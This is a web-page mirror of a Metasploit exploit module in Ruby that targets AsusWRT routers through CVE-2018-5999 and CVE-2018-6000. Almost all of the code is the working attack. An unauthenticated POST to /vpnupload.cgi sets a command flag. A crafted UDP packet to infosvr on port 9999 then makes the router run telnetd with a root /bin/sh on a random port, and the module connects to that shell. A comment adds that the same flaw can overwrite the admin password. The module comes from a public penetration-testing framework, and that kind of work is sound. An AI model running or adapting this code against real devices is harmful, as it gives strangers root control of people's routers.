CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/asuswrt_lan_rce.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Remote::Udp
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'AsusWRT LAN Unauthenticated Remote Code Execution',
15
'Description' => %q{
16
The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to
17
perform a POST in certain cases. This can be combined with another vulnerability in
18
the VPN configuration upload routine that sets NVRAM configuration variables directly
19
from the POST request to enable a special command mode.
20
This command mode can then be abused by sending a UDP packet to infosvr, which is running
21
on port UDP 9999 to directly execute commands as root.
22
This exploit leverages that to start telnetd in a random port, and then connects to it.
23
It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.
24
},
25
'Author' =>
26
[
27
'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module
28
],
29
'License' => MSF_LICENSE,
30
'References' =>
31
[
32
['URL', 'https://blogs.securiteam.com/index.php/archives/3589'],
33
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt'],
34
['URL', 'https://seclists.org/fulldisclosure/2018/Jan/78'],
35
['CVE', '2018-5999'],
36
['CVE', '2018-6000']
37
],
38
'Targets' =>
39
[
40
[ 'AsusWRT < v3.0.0.4.384.10007',
41
{
42
'Payload' =>
43
{
44
'Compat' => {
45
'PayloadType' => 'cmd_interact',
46
'ConnectionType' => 'find',
47
},
48
},
49
}
50
],
51
],
52
'Privileged' => true,
53
'Platform' => 'unix',
54
'Arch' => ARCH_CMD,
55
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
56
'DisclosureDate' => '2018-01-22',
57
'DefaultTarget' => 0))
58
register_options(
59
[
60
Opt::RPORT(9999)
61
])
62
63
register_advanced_options(
64
[
65
OptInt.new('ASUSWRTPORT', [true, 'AsusWRT HTTP portal port', 80])
66
])
67
end
68
69
def exploit
70
# first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD
71
# this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting!
72
post_data = Rex::MIME::Message.new
73
post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"")
74
75
data = post_data.to_s
76
77
res = send_request_cgi({
78
'uri' => "/vpnupload.cgi",
79
'method' => 'POST',
80
'rport' => datastore['ASUSWRTPORT'],
81
'data' => data,
82
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
83
})
84
85
if res and res.code == 200
86
print_good("#{peer} - Successfully set the ateCommand_flag variable.")
87
else
88
fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")
89
end
90
91
92
# ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above.
93
info_pdu_size = 512 # expected packet size, not sure what the extra bytes are
94
r = Random.new
95
96
ibox_comm_pkt_hdr_ex =
97
[0x0c].pack('C*') + # NET_SERVICE_ID_IBOX_INFO 0xC
98
[0x15].pack('C*') + # NET_PACKET_TYPE_CMD 0x15
99
[0x33,0x00].pack('C*') + # NET_CMD_ID_MANU_CMD 0x33
100
r.bytes(4) + # Info, don't know what this is
101
r.bytes(6) + # MAC address
102
r.bytes(32) # Password
103
104
telnet_port = rand((2**16)-1024)+1024
105
cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*')
106
pkt_syscmd =
107
[cmd.length,0x00].pack('C*') + # cmd length
108
cmd # our command
109
110
pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length)
111
112
connect_udp
113
udp_sock.put(pkt_final) # we could process the response, but we don't care
114
disconnect_udp
115
116
print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}")
117
sleep(10)
118
119
begin
120
ctx = { 'Msf' => framework, 'MsfExploit' => self }
121
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 })
122
if not sock.nil?
123
print_good("#{peer} - Success, shell incoming!")
124
return handler(sock)
125
end
126
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
127
sock.close if sock
128
end
129
130
print_bad("#{peer} - Well that didn't work... try again?")
131
end
132
end
133
134